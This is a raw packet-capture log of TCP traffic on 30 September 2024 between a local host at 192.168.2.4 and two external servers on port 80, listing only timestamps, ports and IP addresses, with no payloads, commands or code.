Sep 30, 2024 12:22:36.808391094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808409929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808423996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808445930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808459997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808480978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808494091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808516979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808528900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808547974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808566093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808582067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808593988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808619022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808629036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808651924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808666945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808686972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808700085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808722973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808731079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808765888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850519896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850554943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850609064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850644112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850677967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850684881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850686073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850686073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850709915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850711107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850718021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850744009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850752115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850779057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.850790024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.850826979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891196966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891253948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891315937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891367912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891415119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891415119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891415119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891419888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891437054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891469002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891470909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891501904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891515017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891535044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891549110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891582012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891916990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891948938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891972065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.891983986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.891992092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892033100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892041922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892085075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892088890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892121077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892134905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892168045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892174006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892206907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892222881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892256975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892263889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892290115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892322063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892342091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892366886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892373085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892405987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892426014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892440081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892450094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892476082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892483950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892524004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892529964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892563105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892580032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892600060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892612934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892635107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892643929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892678022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892685890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892718077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892734051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892750978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892764091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892800093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892805099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892857075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892863989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892911911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.892961979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.892971992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893021107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893054962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893074036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893089056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893101931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893122911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893172979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893177032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893224955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893258095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893273115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893290997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893321037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893326998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893345118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893361092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893373013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893394947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893404007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893429995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893440962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893465042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893475056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893497944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893529892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893544912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893563032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893594980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893615961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893630028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893645048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893662930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893676043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893696070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893704891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893728971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893738985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893760920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893769026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893800020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893807888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893832922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893845081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893866062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893878937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893898010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893907070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893928051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893944979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.893963099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.893979073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.894006014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:37.445295095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:37.445329905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:37.450191021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:37.450251102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:38.227545977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:38.227622986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:38.464581013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:38.469527006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:38.993654013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:38.993721008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:38.993803024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:38.993829012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:39.000332117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:39.005204916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:39.560976028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:39.561043978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:39.561079025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:39.561106920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:39.583026886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:39.588167906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.116585970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.116666079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.207940102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.208086014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.212977886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213047028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213077068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213104963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213109970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213126898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213139057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213165998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213171959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213205099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213215113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213294983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213324070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213345051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213370085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213375092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213404894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.213423967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.213454962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217658997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217688084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217721939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217742920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217761040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217808962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217811108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217839956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217860937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217866898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.217883110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.217914104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.225682974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.225857973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:40.230789900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.230855942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.230886936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.230938911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.230968952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231029034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231056929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231108904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231137991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231164932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231192112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231240988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231268883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231296062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231323004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231349945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231426001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231453896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231481075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231508970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231537104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231590986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231622934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231652021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231678963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231707096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231734991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231762886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231791019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231818914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231844902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231870890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231925011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231952906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.231980085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232006073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232033968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232065916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232093096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232120037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232147932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232175112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232202053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232238054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232264996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232290983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232319117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232368946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:40.232397079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:41.425857067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:41.425964117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:41.430103064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:41.435314894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:42.089972973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:42.090054989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:43.658231974 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:43.663211107 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:43.663286924 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:43.666193008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:43.671257019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287594080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287648916 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287678003 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287688971 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287703037 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287734985 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287744045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287777901 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287789106 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287813902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287813902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287848949 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287861109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287883997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287893057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287919044 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287925005 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.287957907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.287962914 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.288002968 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.292840004 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.292908907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.292913914 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.292944908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.292953968 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.292989969 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.378886938 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.378921986 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.378973961 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.378995895 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379009962 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379036903 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379065037 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379081964 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379115105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379138947 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379151106 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379167080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379198074 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379827976 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379879951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.379897118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.379972935 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380007029 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380013943 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380037069 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380043030 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380059004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380088091 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380611897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380667925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380673885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380713940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380721092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380757093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380774021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380791903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.380810976 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.380839109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.381458044 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.381498098 CEST	80	52535	147.45.44.104	192.168.2.4
